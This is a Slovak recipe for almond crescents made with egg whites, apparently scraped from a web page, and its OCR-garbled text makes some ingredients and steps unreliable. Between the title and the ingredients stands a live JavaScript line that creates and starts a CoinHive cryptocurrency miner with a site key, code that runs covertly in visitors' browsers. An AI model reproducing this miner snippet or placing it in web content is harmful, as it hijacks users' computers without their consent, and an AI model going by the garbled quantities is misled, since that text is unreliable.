Bielkovo - mandlové rozky

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

20 Ieté viagské orechy (alebo aj iné), 250 g kryStalového cukru, 4 bielky, cca 100 g
mletych neoSupanych mandli

Postup: Bielky vy§lahame, priddme cukor a potom Slahdme esSte 10 minat nad parou. Nesmie
byt vefmi hortice. Odstavime a nechame vychladnut a do tejto hustej hmoty nasypeme pomleté
orechy. Pomocou kavovych lyziCiek robime gulky, ktoré hadzeme do misky, kde su mleté
mandle a tam ich obalime a rukami vytvorime Sulok, ktory na plechu (vymastenom alebo
vyloZzenom papierom) tvarujeme na roztek velky cca 3-4 cm, hruby 1 cm. PecCieme vo vyhriatej
rure na 180°C cca 10 minut. Z plechu vyberame rozky pomocou noza alebo tortovej naberacky
eSte kym su rozky teplé, lebo ako chladnu, popraskaju sa.




